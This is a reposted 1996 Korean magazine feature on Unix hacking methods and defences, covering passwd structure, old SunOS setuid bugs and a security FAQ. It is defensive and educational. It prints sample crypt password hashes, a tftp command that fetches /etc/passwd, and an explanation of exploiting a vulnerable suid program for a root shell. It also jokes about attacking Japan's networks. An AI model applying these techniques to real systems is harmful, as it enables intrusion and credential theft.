^_^
기쁘다. 1996년도에 서측기숙사에서 모기물려가며 FAST5 더미터미널로 접속해서 vi 로 끄적여서 원고 썼던 기억이 난다. 당시 같이 원고쓰던 친구가 수사 받는 시점과 겹쳐서 참 우울했던 기억이 난다. (그 친구가 원고맡은 부분을 쓸 상황이 아니어서, 원고를 내가 상당부분 써야만 하던 상황이었던 거로 기억된다.) 하여간 그런 산고끝내 나왔던 문서랄까 ^^
본문 중의 전산학과인 K군은 내 이야기였다. 그 부분을 쓰면서 거의 자서전 격이 되어버렸달까... 감정몰입이 많이 되어 나도 모르게 내 이야기를 녹여 쓰게 된 것 같다.
신출귀몰 해커도 손바닥안에!
해킹의 최신 형태와 방지 테크닉
--------------------------------------------------------------------------------
(월간 인터네트)
이번호
해킹 기본 개념 잡기
과거의 해킹 사례
최근의 해킹 유형과 방지책
-스니핑과 IP 스푸핑
보안 관련 FAQ
다음호
유용한 시큐리티 체크 툴
보안관련 단체 소개
인터넷의 개방성과 정보공유 및 교환의 용이성으로 인해 인터넷사의 해킹사건은 날로 그 빈도수가 높아가며 그 유형 또한 고 도화하고 그로 인한 피해의 심각성은 하루가 다르게 변모하고 있다. 특집II에서는 5월호와 6월호 두달에 걸쳐 해킹방지 테크닉을 기획했다. 이를 통해 해킹패턴의 변화를 살펴보고, 최근에 일어나고 있는 구체적인 해커 침입경로와 형태, 그리고 그에 대한 방 지책을 자세히 들여다보기로 한다. 초보자들의 이해를 돕기 위해 해킹과 보안에 관련한 개괄적인 내용은 월간 Internet 95년 7월 호부터 11월호를 참조하기 바란다.
노정석 김휘강 조용상 최재철 / KUS 회원
해킹의 기본 골격을 잡자!
전산학과인 K군은 학과 성적이 아주 좋지 못하다. 하 지만 실력만은 누구보다도 있다고 자부심을 가지고 있다. 하지만 성적이 나쁘다는 이유만으로 아무도 인정을 해주지 않자 자기가 인정받을 수 있는 곳은 가상세계뿐이라고 생각하게 됐다. 그 뒤로 K군이 열을 올리게 된 것은 해킹이었다. K군은 심심하고 무료 함을 달래기 위해 대형통신망에서 채팅을 즐기고 있다.
철저하게 위장해 자신의 신분을 감춘채 R양과 채팅을 즐기고 있다. R양의 주소와 비밀번호 등을 조사해 그녀를 놀라게 하며 즐 거움에 빠진다. R양의 주민등록번호를 알아내 은행공동망에서 그녀의 계죄를 추적, 자신과 채팅한 '대가'로 돈을 자신의 구좌로 이체한다.
아, 그래도 심심하다. 모 대학에 들어가 학생들의 성적을 열람한다. 고등학교때 부터 꼴보기 싫던 놈이 있었다. 그 녀석의 성 적을 모두 F로 만들어버린다. 속이 좀 후련하다. 아.. 심심해. 더 뭘할까...
위의 내용은 어떤 학생이 탈선의 길로 빠진 것을 가상으로 꾸며본 글이다. 최근들어 해킹이란 단어를 사람들이 많이 접하고는 있지만 정확히 어떠한 뜻을 갖고 있고 해킹에는 무엇이 있는지 정확히 아는 사람들은 그렇게 많지 않다. 오히려 언론의 해 킹에 대한 오보 때문에 인터넷에 대한 잘못된 선입관을 갖게 하는 수도 있는 것이다.
위의 가상의 글에서 보인 예는 해커에 대한 잘못된 인식이 담겨있다. 그렇다면 해킹이란 무엇인가? 진부한 면이 있긴 하지만 hacker's dictionay를 참조하기로 하자.
Hacker: 1. A person who enjoys learning the details of computer systems and how to stretch their capabilities - as opposed to most users of computers, who prefer to learn only the minimum amount necessary.
2.One who programs enthusiastically or who enjoys programming rather than just theorizing about programming.
- Guy L.Steele. et al. The Hacker's Dictionary
해커란, 컴퓨터에 정열을 가지고 열심히 몰두하는 사람들을 뜻한다. 오히려 언론에서나 일상에서 떠돌고 있는 해커라는 단어는 크래커(Cracker)나 시스템침입자(system intruder)의 뜻에 더 가깝다고 할 수 있다.
최근에는 각종 언론이나 기관에서 해킹에 상당히 민감한 반응을 보이고 있는 것이 요즘 들어 상당히 크고 작은 해킹 사건들이 자주 일어났기 때문이다. 인터넷이 확산됨에 따라 이러한 현상은 더욱 두드러질 것으로 보인다.
해킹에 대비한 가장 무서운 방어법은 백업이 아닐까 싶다. 이는 물론 가장 기본적인 대비책이기도 하다. "하드디스크를 밀 어버리려면 밀어봐라. 우리는 날마다 백업 받는다네" "어제 지우고 갔으면 오늘 또 살려놓으면 되지 뭐." 이렇게 된다면 해킹할 맛이 날까? 해킹 방지법을 익히기에 앞서 간단히 국내에서 일어났었던 해킹 사례들을 살펴보고 이전의 해킹유형 과 최신 해킹 사례들을 자세히 살펴본다.
국내에서 발생한 해킹 사례
SERI(시스템 공학 연구소)의 슈퍼컴 센터내 CRAY 2S에 해커가 침입, 시스템을 교란한 예. (1992)
서울대학교 전산센터에 해커들이 서울대의 LAN에 침입해 워크스테이션 6대의 모든 하드디스크를 지워버린 예. (1993)
한국통신연구개발센터, 하나망 관리센터에서도 서울대와 유사한 사건이 발생 (1993)
원자력 연구소에 영국 소년해커가 침입(사실은 이와 이름이 비슷한 대학의 호스트에 침입한 것이지만 언론들의 허위,과장보도로 잘못 알려진 사건)해 하드 디스크의 정보가 외부에 개방됐던 사건 (1994)
한국 전산원, KRNIC(한국 망정보센터) 해킹사건:국내 네트워크 정보서버에 해커가 침입한 사건 (1994)
서강대학교의 아키서버에 침투해 디스크를 지워버린 사건 (1994)
KAIST 해킹 사건:영어권의 해커가 침투중 KUS(KAIST Unix Security task force)멤버에 게 적발된 예
위의 사건들은 신문지상에서 많이 접해본 것들이다. 물론 크고 작은 해킹 사건이 무수히 많이 일어났었지만 굵직한 사건들만 나열했다.이와 같이 많은 보안 사건이 벌어지는 상황에서 시스템의 관리자나 사용자의 입장에서 무엇을 해야만이 해커들의 침입 을 막을 수 있을까? 또한 독도는 자기땅이라고 우겨대는 얄미운 일본의 전산망을 무력화시키려면 어떤 작업을 해야 할가? 하지만 독자들이 우선 이해하기 쉽도록 기초적인 내용을 먼저 적어 놓을까 한다.
해킹의 개념과 종류
대부분의 실력있는 해커들은 다른 시스템에 침투를 하더라도 대의명분(?)이 있는 경우가 다반사다. 자기가 관리하는 시스템에 다른 해커가 들어와서, 이를 신속히 추적하기 위해 역해킹하는 경우의 예를 들 수 있겠다. 또한 어느 정도 실력있는 해커들의 경 우에는 해커리즘에 관한 건전한 마인드가 형성돼 있는 사람들이 많기 때문에 이들이 혹시 자기 시스템에 피해를 입히지 않을까 걱정할 필요는 없다.
다만 걱정이 되는 것은 중고생들이 컴퓨터나 유닉스에 관한 전문적인 지식도 없으면서 막연한 공명심과 엉뚱한 영웅심에 휩쓸려 해킹을 하게 되는 경우이다. 이들은 어쩌다 구한 해킹툴을 이용해, 해킹을 하며 자신들이 침투를 했다는 증거도 지우고 나가지 못하는 경우가 대부분이다. 이러한 상황에서 중고생들이 우연히 침투하게 되었다가 잡히게 되면 그들의 인생에는 어느덧 전과자 라는 기록이 남게 되는 것이다.ㅤ
해킹이란 법률적인 의미에서 보면 '시스템의 관리자가 구축해 놓은 보안망을 어떤 목적에서건 무력화시켰을 경우 이에 따른 모 든 행동을 해킹이라고 한다.'고 돼있다. 하지만 네티즌간에는 보통 시스템 관리자의 권한을 불법적으로 획득한 경우, 또 이를 악 용해 다른 사용자에게 피해를 준 경우를 해킹이라고 정의하고 있다. (간단한 해킹으로 어떤 사용자의 패스워드를 추측을 통해서 건, 우연히 알게 되어서건 도용을 하게 됐을 경우를 들 수 있다.)
해킹의 3단계 절차
어떤 호스트를 해킹하기 위해서는 보통 3단계 절차를 거치게 된다. 1단계로 목표로 한 호스트 내부에 잡입을 하여 쉘(shell)을 사용할 수 있는 유저의 권한을 얻어 내는 것이다. 이를 실행하기 위해 유저의 패스워드를 알아야 하는데, 스니프(sniff)를 이용 하는 고급방법에서부터, finger -l @targethost를 해 알아낸 사용자들의 패스워드를 추측해 로긴하는 무식한 방법까지 아주 다양 한 방법이 있다.
보통의 해커라면 외부에서 목표로 한 호스트의 패스워드 파일을 빼와서 이를 이용해 목표로 한 호스트 내부유저로 침입하는 것 이 보통이다. 그리고 이 1단계를 방어하는 것이 바로 네트워크 시큐리티이다.
2단계로 목표로 했던 호스트 내부에 잡입을 했으면 목표 호스트의 관리자(root)의 권한을 획득하려고 시도할 것이다. 이는 호스 트 내부의 OS 홀(hole)을 이용하는 경우가 많다. 또한 이 2단계를 방어하는 것이 바로 로컬 시큐리티이다.
3단계는 호스트 관리자(root)의 권한을 획득한뒤 자신이 다음에 다시 침입할 경우에 편의성을 기하기 위해 backdoor(뒷문)을 만 들어 놓고 나가는 단계이다. 매번 목표로 한 호스트에 잡입하기 위해 번번히 해킹을 시도한다면 증거를 언젠가 남기기 마련이고 '꼬리가 길어져서' 결국은 잡히기 마련이다. 자신만이 사용할 수 있는 내부 버그(트로이 목마)를 남겨놓고 가는 것이 침입때 증 거를 남기지 않는 좋은 방법이기 때문에 해커들은 이를 애용하고 있다.
해킹의 이해를 돕기위한 유닉스 상의 기초상식
이제부터 나오는 내용들은 해킹을 이해하기 위한 유닉스상의 기초 지식이다.
패스워드는 어떻게 관리되는가?
보통 도용한 ID를 이용해 다른 시스템이나 ID의 소유주가 사용하고 있는 시스템의 관리자(root, Super user)의 자격을 얻어내기 위한 발판으로 삼는 경우가 있다. 그러므로 자신의 도용당한 ID 때문에 피해를 본 쪽에서 조사를 한다면 자신이 하지도 않은 일 에 의심을 사게 될 수도 있게 되는 것이다.
또한 ID를 도용당하면 자신만의 피해로 끝나는 일이 아닌 시스템의 피해까지도 야기할 수 있기 때문에 패스워드를 검증하는 절 차를 두어 패스워드를 모르는 외부인은 사용하지 못하도록 막고 있는 것이다.
하지만 이 패스워드를 사용하고 있다 하더라도 문제는 있다. 만일 다른사람도 충분히 추측해낼 수 있는 것으로 패스워드를 정했 다면 다른 사람이 마음만 먹으면 자신의 ID를 사용할 수 있으므로 무용지물이 되는 것이다. 그래서 자신의 패스워드를 관리하는 것에 대해 말해볼까 한다.
유닉스 시스템은 각 유저들의 패스워드 및 기타 정보를 /etc/passwd에 보관하고있다. vi나 cat을 이용해 이 파일을 살펴보자.( 단, 보는 방법이 어떤 시스템을 쓰느냐에 따라 다르다. 위의 것은 일반적인 경우이고 위에 나온 NIS 시스템은 NFS 시스템과 함께 같이 뒤에서 설명하고자 한다.)
NIS 시스템을 이용하는 경우: cat /etc/passwd나 ypcat passwd를 한다.
NetInfo 시스템을 이용하는 경우: nidump passwd / 를 한다.
예시로 몇줄만 들어보자.
root:##root:0:0:Supervisor:/:/bin/csh
daemon:##daemon:1:1::/:
uucp:##uucp:4:8::/var/spool/uucppublic:
kwlee:##kwlee:104:30:KyeongWon Lee:/circ/kus/kwlee:/usr/local/bin/tcsh
sakai:##sakai:129:30:Kim Huy kang:/circ/kus/sakai:/usr/local/bin/tcsh
hohle:##hohle:11529:410:Hoh eun ha:/under/under/hohle:/bin/csh
sungho:##sungho:13189:410:Park sung ho :/under/under/sungho:/bin/csh
위와 같이 : 으로 구분된 두번째 부분이 위와 같이 돼있는 경우도 있을 것이고 또는
root:VRLoJ2QnLhRA2:0:0:Supervisor:/:/bin/csh
daemon:*1:1::/::
uucp:*:4:8::/var/spool/uucppublic:
kwlee:ntim9ljaUGI.A:104:30:KyeongWon Lee:/circ/kus/kwlee:/usr/local/bin/tcsh
sakai:tdtwKgRa3ZZoI:129:30:Kim Huy kang:/circ/kus/sakai:/usr/local/bin/tcsh
hohle:u2WKlqINaIP8w:11529:410:Hoh eun ha:/under/under/hohle:/bin/csh
sungho:eATMm4J0Zb4Dw:13189:410:Park sung ho :/under/under/sungho:/bin/csh
위와 같은 경우도 있을 것이다. 두 파일을 한번 살펴보자. 첫 세줄은 root,daemon,uucp라는 시스템 계정(account)에 관한 정보 이고 그 다음에 나오는 줄들은 kwlee나 sakai 같은 시스템의 일반 유저들에 관한 정보이다. 각각의 줄은 : 을 기준으로 다음과 같은 7개의 필드(field)로 나뉜다.
1 Field : 유저 이름
2 Field : 유저의 패스워드(보통 보여주지 않거나 알아보지 못하게 변형시켜 놓는다.)
3 Field : 유저의 ID number(UID)
4 Field : 유저가 속해있는 그룹의 ID number(GID)
5 Field : 유저의 실제 이름
6 Field : 유저의 홈 디렉토리
7 Field : 유저가 사용하는 Shell
그 예를 들어보자. 위에서 sakai란 사람을 살펴보면
sakai:##sakai:129:30:Kim Huy kang:/circ/kus/sakai:/usr/local/bin/tcsh
sakai:tdtwKgRa3ZZoI:129:30:Kim Huy kang:/circ/kus/sakai:/usr/local/bin/tcsh
유저이름: sakai
password: ##sakai(의도적으로 패스워드 부분을 숨긴 경우->Shadowing passwd 라고도 말한다.)
tdtwKgRa3ZZoI(변형시켜서 알지 못하게 한 경우.보통 encrypt(암호화)시켰다고 말한다.)
UID : 129
GID : 30
실제 유저의 이름: Kim Huy kang
유저의 홈디렉토리:/circ/kus/sakai
유저가 사용하는 쉘: tcsh
위와 같은 정보를 얻을 수가 있다.
패스워드는 어떻게 만들어지는가?
그럼 위의 변형된 부분은 어떻게 생성되는 것일까? 다음을 수행시켜보자.
% /usr/lib/makekey iakasbells
lsDy0cB/5/zho>
% /usr/lib/makekey sakaixvaaa
aaxuEmMgYNZz2>
두번의 실행결과를 비교해 보자. 공통점은 입력한 글쇠중에서 끝에서 두번째부터의 글씨는 다음 줄의 암호화된 부분에 그대로 찍혀 나오고 나머지 부분은 알아보지 못하게 변형되어 나온 것을 알 수 있다. 위의 예에서 입력한 단어 iakasbells의 마지막 두 글자 ls와 다음에 변형된 단어 lsDy0cB/5/zho>의 첫 ls와 같다.
이 마지막 두 글자들을 key character(혹은 salt)라고 한다. 이런 방식으로 로그인네임을 입력한 후 패스워드를 입력하면 맨 마 지막의 두번째 글자들을 가지고 입력한 패스워드를 암호화하게 되고 이 암호화한 자료를 가지고 /etc/passwd와 내용을 비교하여 옳다면 로그인에 성공하게 되는 것이다.
보통 패스워드는 8자를 기준으로 하기 때문에 패스워드로 입력한 글자수와 마지막 두 글자가 중요한 의미를 갖게 된다. 앞 절에 서도 말했지만 충분히 추측할 수 있는 패스워드를 사용하면 곤란하다. 또 /etc/passwd 파일로부터 패스워드를 추측해 주는 툴들( Crack 이라든지 Cops)을 사용해 알아낼 수도 있다.
이 툴들은 자신들의 독특한 알고리즘을 사용하는데, 이를 테면 사전에 나오는 단어들이나, ID를 뒤집어 대입해본다든지, 패스워 드 파일에서 알아낸 자료들을 대입해본다든지 하는 방법이다. 물론 대입을 할 때에는 crypt() 함수를 이용해 encrypt(암호화)한 다음 이 결과를 /etc/passwd 파일에 있는 두번째 field인 변형된 부분과 계속비교해 맞는지를 확인해내게 된다.
이런 이유로 인해 흔히 일상에서 쓰는 단어들은 적발될 우려가 높은데, 좋지 않은 패스워드로서 다음과 같은 사례를 들 수 있다 .
좋지않은 패스워드의 예
ID와 같은 password
사용하는 시스템의 이름
컴퓨터 호스트의 이름
영어사전에 나오는 단어 (boss , world .... )
전화번호
생일
키보드위의 같은 선상에 있는 글쇠들의 연속.(qwert,asdf .....)
동일한 글자의 연속 (11111, eeeee .... )
setuid란 무엇인가?
/etc/passwd의 소유주는 분명히 호스트 관리자(root)이다. 또한 우리는 패스워드를 바꾼 다음 변경된 내용을 /etc/passwd 파일 에 저장을 하고 있다. 이상하지 않은가? 보통의 예라면 permission denied 라는 눈에 익은 메시지가 떠야 할 텐데 말이다. 여기 에 아주 중요한 내용이 담겨 있다. 바로 setuid라는 것이다. 다음을 수행시켜 보자.
% ls -al /bin/passwd
rwsr-xr-x 2 root 512 Jan 11 12:31 passwd
앞에서 설명이 잘 됐겠지만 setuid bit로서 s가 표시돼 있음을 알 수 있다. 이는 이 프로그램이 실행되는 동안은 루트의 권한을 가질 수 있게 되며 프로그램이 끝남과 동시에 이 권한은 사라지게 된다. 그런 이유로 패스워드를 이용해 /etc/passwd 파일을 우 리가 바꿀 수 있는 것이다.
우리는 이런 setuid를 많이 이용하고 있다. 로그인 프롬프트가 나왔을 때 우리는 생각없이 로그인을 하지만 내부에서는 상당히 복잡한 구동이 이뤄지고 있다. 우선 login 이라는 메시지 다음에 들어오는 사용자의 ID를 읽어 들인다.
그리고 패스워드를 읽어 들이는데 읽어들인 패스워드를 crypt() 함수를 이용해 암호화시킨다. 이 암호화된 패스워드를 /etc/pas sword(Shadowing passwd 인 경우는 다른 파일 이를테면 passwd.adjunct 같은 다른 파일을 참조한다.)의 두번째 field와 비교해 같으면 올바른 패스워드를 입력했으므로 login을 허가해준다. 다시 ls /bin/login을 해보면 알겠지만 이 login도 root 소유의 se tuid bit가 붙은 파일이다.
여기서 알아둬야 할 점은 패스워드를 확인할 때 /etc/passwd 파일의 두 번째 field를 풀어서 입력된 패스워드와 맞춰 보는 게 아니라는 점이다. 이런 decrypt 함수는 없으며 알고리즘도 존재치 않는다. 이로 인해 불완전하지만 유닉스의 보안이 이뤄지고 있 는 것이다.
또한 앞에서 이야기했지만 루트 소유이고 setuid가 실행되는 동안은 시스템관리자의 권한을 갖는다고 했다. 우리는 이것을 보고 effective uid라고 한다. 해커들은 이런 루트 소유의 setuid bit 파일들을 실행시키는 동안 인터럽트를 걸 수 있는 쉘 스크립 트라든가 툴을 이용해 이 파일들의 실행을 중지시킨 상태로 있게 한다. 즉 root의 권한을 가진 채로 있도록 하는 것이다. 이런 식으로 해 root의 권한을 불법적으로 획득하는 것이 대부분의 해킹방법이다.
과거의 해킹 유형들
예전에는 주로 네트워크상이나 로컬 호스트상에서 config uration이 잘못된 것을 이용해 관리자의 권한을 얻는 초보적인 해킹이 많았다. 즉, OS를 인스톨하면 프로그램들의 퍼미션이 적절 히 조정 안돼있는 경우가 많은데, 이를 악용해 호스트 관리자만이 보고 쓸 수 있는 파일도 마음대로 조작하는 경우가 예전의 해 킹 유형이었다. 또한 웃지 못할 얘기로 해킹시도를 해도 계속 실패하게 되자, 기계를 들고 훔쳐 달아난 도둑해커(?) 도 있다.
기초 지식을 알았다면 예전에 있었던 해킹유형과, 예전의 버그들을 살펴보자. 물론 언론매체의 성격상 현재 가장 심각한 홀(보 안구멍)들은 싣지 않았다. 또한 분량상 수많은 버그들중 극히 일부분만을 다루었다.
/usr/local/bin/sysinfo version 1.0.0 의 버그
유닉스 시스템에는 IFS(Internal File Seperator)라는 환경 변수가 있다. 이것이 shell 변수로 선언할 때 여러 문제를 일으키는 경우가 많다. IFS라는 환경변수를 내부 유저들이 마음대로 조작해 관리자의 권한을 얻어낼 수 있는데 이러한 유형의 해킹으로 는 loadmodule 해킹, expreserve 해킹, rdist 해킹 등이 있다. 이는 단순히 쉘 변수중 IFS를 /로 선언하고 (쉘마다 다르겠지만 예를 들어 csh 이라면 % setenv IFS /) 몇가지 트릭을 통해 일반유저들이 쉽게 root의 권한을 가질 수 있게 된다.
해결책 : sysinfo 버전 2.0.6 을 구해서 새로 인스톨 한다.
rdist 버그
SunOS 4.1.2와 그 이전의 OS, A/UX 2.0.1, SCO 3.2v4.2, BSD NET/2 계열 Systems 또는 BSD rdist를 지원하는 대부분의 시스템에 서 /usr/ucb/rdist나 /usr/bin/rdist는 보안에 문제가 되는 버그를 가지고 있다.
rdist는 popen(3) 이라는 내부 시스템 함수(C function)을 이용해 해킹을 하게 된다. 이때 해킹을 위해 이용하는 sendmail 이란 프로그램은 root 의 권한을 갖고 실행이 되게 된다. 이 역시 setuid 때문인데 이를 악용하여 어떤 유저라도 root 가 될 수 있다 .
해결책 : SunOs의 Patch-ID# 100383-06 의 패치를 가져와서 설치하면 해결이 된다. 또는 rdist의 기능을 없애기 위해 setuid bi t를 제거하거나 퍼미션을 0으로 해버린다.
autoreply 버그
/usr/local/bin/autoreply는 elm 패키지의 설치에서 부수적으로 따라나오는 프로그램이다. elm의 버그는 모든 OS에서 공통적으 로 지적되는 문제점이다. 따라서 이 버그는 대다수의 해커들에게 대단한 사랑(?)을 받았던 버그이다. 이 버그는 또한 OS에 관계 없이 Elm Mail System을 쓰기만 하면 보안의 헛점을 가지게 된다는 데에서 주목할 만하다. 역시 setuid의 수행중 인터럽트를 걸 어 root의 권한으로 프로그램이 작동하는 상태에서 자신이 원하는 작업을 수행하도록 조작한다. 이를 이용해 원하는 곳에 임의의 파일을 기록할 수 있다. 이를 이용해 root 디렉토리에 .rhosts에 조작을 하는 경우가 대부분이다.
해결책 : 현재로서의 가장 좋은 해결책은 아예 autoreply의 퍼미션을 0으로 주어 사용을 못하게 해버리는 것이다. 하지만 퍼미 션을 666으로 두는 것도 안전하다.
binmail(/usr/bin/mail)의 버그
이는 썬 OS 4.1.x의 버전에서 적용되는 버그이다. 이는 파일 시스템의 어느 곳에라도 임의의 파일을 생성시킬 수 있어서 일반 유저들이 root가 될 수 있다. 이 버그는 /var/spool/mail의 디렉토리 퍼미션이 rwxrwxrwt(혹은 rwxrwxr-x)로 모든 유저에게 쓰기 권한이 허가돼있기 때문에 야기됐던 버그이다.
해결책 : 1. vendor 들에게서 patch 를 구한다.
2. 가장 이상적으로 해결을 하는 것은 mail spool 디렉토리의 쓰기 권한을 아예 없애버리는 것이나, 이 쓰기 권한이 없다면 elm이나 /bin/mail, /usr/ucb/Mail 을 사용할 수 없게 된다.
passwd(/usr/bin/passwd)의 버그
/bin/passwd -F의 버그라고도 하는 이것은 SunOS 4.1.x의 기종에서 해당되는 버그이다. 어떠한 일반 유저라도 위의 버그를 이 용해, 임의의 파일(물론 공격을 목적으로 하므로 / 디렉토리의 .rhosts를 생성시키는 것이다.)을 생성해 이는 파일이 생성되기를 원하는 디렉토리에 symbolic link를 걸어놓고 자신이 만들고 싶은 파일을 이 곳으로 링크시켜버리는 방법을 이용하는 것이다.
해결책: 1. 벤더들에게서 패치(버그 수정 프로그램)를 구하도록 한다.
2. passwd의 실행파일에서 -F 옵션을 삭제해 간단히 패치할 수 있다.
SunOS 4.X.X /usr/lib/sendmail의 버그
흔히 SMTP(Simple Mail Transfer Protocol)의 버그라고 불리기도 하는 것이다.전자우편 시스템은 외부망과의 연결에 필수적인 유틸리티로서 BSD 유닉스에는 우편의 배달과 수신을 담당하는 sendmail 프로그램이 있는데 이 프로그램의 구 버전에는보안상의 문제를 가지고 있다. 이것은 자신의 호스트의 25번 포트를 열어 보아 버그가 있는지 확인을 해 보아야 한다. 현재 BSD 8.6.4 버 전은 이 문제점이 있는 것으로 드러났다. 이미 Worm 에서 심각한 보안문제를 일으킨 바 있으므로 최신의 버전으로 바꾸어 주기 바란다.
해결책 : sendmail 한글 버전을 인스톨하면 된다. sendmail 한글 버전은 ftp://cair-archive.kaist.ac.kr/pub/hangul/mail 에서 구할 수 있다.
1) telnet <호스트 이름> 25를 해서 자신의 호스트에 설치된 sendmail 의 버전
을 확인한다.
2) /etc/aliases나 /usr/ucb/aliases에서 'decode'를 제거한다.
% cat /etc/aliases
decode: "|/usr/bin/uudecode"
위와 같이 되어 있을 때는 위 문장을 주석 처리해준다.
올바른 예
# cat /etc/aliases
...
#decode: "|/usr/bin/uudecode"
3) 프로그램에 메시지를 보내는 경우 쉘 명령을 보내는 방법을 사용하지 않도록
한다.
4) sendmail.cf 에서 'wizard' 패스워드를 사용하지 않는다.
5) sendmail 에서 'debug' 명령을 이용하지 않는다,
다음을 참조하도록 한다.
baikdu % telnet localhost 25
Connected to localhost.
Escape character is '^]'.
220-baikdu.kaist.ac.kr Sendmail 8.6.9H1/Baikdu_KAIST_CSH ready at Thu, 16 Mar 1995
00:58:23 +0900
220 ESMTP spoken here
debug
500 Command unrecognized
wiz
500 Command unrecognized
kill
500 Command unrecognized
quit
221 baikdu.kaist.ac.kr closing connection
Connection closed by foreign host.
만일 'debug'에 '200 Debug set'으로 응답한다면 새 버전으로 교체하기 바란다.
tftp 버그
tftp(Trivial ftp)는 디스크 없는 워크스테이션들의 네트워크 부트기능으로 유저데이터그램 방식의 접속없는 프로토콜을 이용한 다. 이는 단순한 프로토콜이므로 보안상의 헛점을 가지고 있다. tftp 설치를 잘못해놓았을 경우 외부의 해커가 tftp를 이용해 /e tc/passwd 파일을 가져갈 수가 있다. 자신의 호스트에 설치된 tftp가 안전한지를 get /etc/passwd를 이용해 확인해보기 바란다.
[baram-sakai 193 ] tftp baram.kaist.ac.kr
tftp> status
Connected to baram.kaist.ac.kr.
Mode: netascii Verbose: off Tracing: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> get /etc/passwd
Error code 1: File not found
tftp>
위와 같이 에러메시지가 뜨지 않는다면 설치가 잘못된 것이니 수정하기 바란다. 만일 쓰지 않는다면 아예 퍼미션을 0으로 두어 작동을 못하게 하든가 /etc/inetd.conf 를 다음과 같이 둔다.
tftp dgram udp wait nobody /usr/etc/in.tftpd in.tftpd -s /tftpboot
TCP_WRAPPER를 사용하는 것도 많은 도움이 된다.
보안관련 FAQ
해커가 침입하기 가장 좋은 시기와 환경은?
전산망을 구성하는 네트워크의 끝에는 네트워크를 구성하기 위한 컴퓨터들(호스트)들이 붙어 있어야 하고 이 호스트들은 운영체 제를 돌리게 마련이다. 하지만 OS 는 인간이 짠 프로그램인 이상 버그가 있게 마련이고 이 버그로 말미암아 보안상의 문제가 유 발되는 것이다. 유닉스 시스템과 같이 멀티유저들이 사용하는 시스템은 보안상 완벽해질 수 없다는 것이 수학적으로 증명이 됐다 .
더군다나 이 호스트를 네트워크상에 연결해놓게 되면 더 문제가 일어나게 되는데,호스트 내부의 버그를 패치하지 않은채 네트워 크상에 올려 놓게 되면 '밥을 차려 놓았으니 밥을 먹도록 하시오'라고 해커들에게 내주는 셈이 된다. 그래서 가장 완벽하게 보안 을 유지하고 싶으면 네트워크에 올려놓기 전에 내부 홀(hole)을 완전히 패치를 하고, 그 다음에 네트워크에 연결해놓는 것이 좋 다.
OS를 갓 인스톨하고난 직후에는 OS의 버그들이 아직 남아 있는 상태여서 이 때 해커들에게 침입을 받게 되면 속수무책이 된다. 또한 불필요한 서비스를 많이 하는 경우 해커들이 침입을 하기 더 좋아지게 되므로, 가급적이면 불필요한 서비스는 하지 않는 것 이 좋다.(guest 아이디 제공이나 sonnim 아이디 제공 같은 경우)
보안을 강화해주는 도구에는 어떤 것이 있나 (혹은 보안을 자동화해주는 프로그램은?)
우선 보안을 자동화해주는 툴은 있을 수도 없고, 있어서도 안되고, 있지도 않다. 전세계적으로 컴퓨터 보안은 활발한 연구의 대상이 되고 있다. ftp://cert.org이나, ftp://coast.cs.purdue.edu 등에서 좋은 툴을 얻을 수 있고 또 KUS 팀 도 서서히 툴 개발을 시작하고 있다. 보안도구는 크게 점검도구와 감시도구로 나눠지는데 다시 로컬 호스트용과 네트워크용으로 나눌 수 있다.
Local host check : cops, tiger, crack
monitor: tripwire, ttywatcher
Network check : satan, iss, nfsbug, ypx
monitor: netlog
해커가 컴퓨터에 침입하는 방법에는 어떤 것이 있나
null & default passwd account or passwd guessing
tftp attack
ethernet sniffing
/etc/hosts.equiv exploit (특히 SunOS 4.1.x)
NFS mount attack
NIS domain name guessing
Sendmail Attack
X window System Attack
WWW Attack
NFS file handle guessing
DNS hack
IP Spoofing
그외 다수(예: rexd, AIX rlogin -froot...)
해커가 슈퍼유저의 권리를 획득하는 방법에는 어떤 것이 있나.
OS마다 다르지만 대부분 허술한 set-user-id root 프로그램들을 이용한다.
SunOS 4.1.x를 예를 들어보면
/usr/local/bin/autoreply
/usr/ucb/rdist
/bin/mail race
/bin/passwd race
/usr/openwin/bin/loadmodule
sun sendmail 4.1
sendmail 8.6.9 debug hole
위의 리스트는 일반적으로 잘 알려진 것들인데 그것들 말고도 suid root 프로그램들을 일단 모두 스캔해본 후 OS외에 다른 소 프트웨어 인스톨 과정에서 생긴 것이 있으면 system call들을 추적하며 조사한다. 혹, 소스 파일이 같이 있다면 좋다.
어느 suid root 프로그램의 소스 중에서..
if (!(editor = getenv("EDITOR")))
editor = "vi";
if (fork())
(void) wait(&junk);
else
{
(void) execlp(editor, editor, fname, NULL);
fprintf(stderr, "Whoops! Failed to exec %s\n", editor);
exit(1);
}
위의 경우라면 해커는 search path list에(current directory)를 맨 처음 놓고 루트 쉘을 만드는 vi 라는 자신의 프로그램을 만 든 후 위의 suid root 프로그램을실행시킨다. 그러면 루트 권한으로 해커의 프로그램이 실행되어 루트쉘이 만들어진다. /usr/openwin/bin/loadmodule, IRIX 4.0.x 의 /usr/lib/vadmin/serial_port 등을 그와 같은 조건을 이용해서 공격한다.
컴퓨터에 침입자가 있는지 어떻게 파악하는가
관리자의 지속적인 관심이 중요하다. 늘 시스템 로그를 확인하고 파일 시스템을 모니터한다면 조금이라도 변화가 생기더라도 파악이 가능하다.
보안 관련 도구와 자료는 어디서 구할 수 있나
http://www.cert.org
http://www.8lgm.org
http://www.cert-kr.or.kr
news://comp.security.unix
ftp://ftp.cert.org
ftp://coast.cs.purdue.edu
ftp://ftp.cert-kr.or.kr
파이어월은 어느 선까지 신뢰할 수 있나
설치를 하는 사람의 보안 지식 및 파이어월 툴킷 매뉴얼에 대한 이해 정도에 따라 편차가 심하다. 상당수의 파이어월은 잘못 셋업된 채 운영된다.
시스템 및 네트워크 모니터링으로 인한 성능저하와 개개인의 프라이버시 침해문제는 어떻게 해결하나?
시스템 모니터링으로 인한 성능 저하는 거의 없다고 보아도 좋다. 세션 모니터 툴인 ttywatcher나 파일 시스템 모니터 툴인 tri pwire는 관리자가 필요할 때 잠시 사용하거나 cron job으로 실행되기 때문에 별다른 영향이 없다. 그러나 네트워크 모니터링은 엄청난 성능 저하를 가져온다. 썬의 nit를 사용하면 필터 패턴에 따라 달라지긴 하지만 30~70%까지의 패킷 손실이 생기므로(spr ay했을 때) 네트워크쪽의 퍼포먼스가 많이 떨어진다. 그래서 tcpdump 3.0부터는 BPF(BSD Packet Filter)를 사용하여 스택 구조를 사용하는 Sun의 NIT보다는 10~150배, CSPF(CMU/Stanford Packet Filter) 보다는 1.5~20배 빠른 성능향상을 거두었다(Comment by chan@ra.snu.ac.kr)
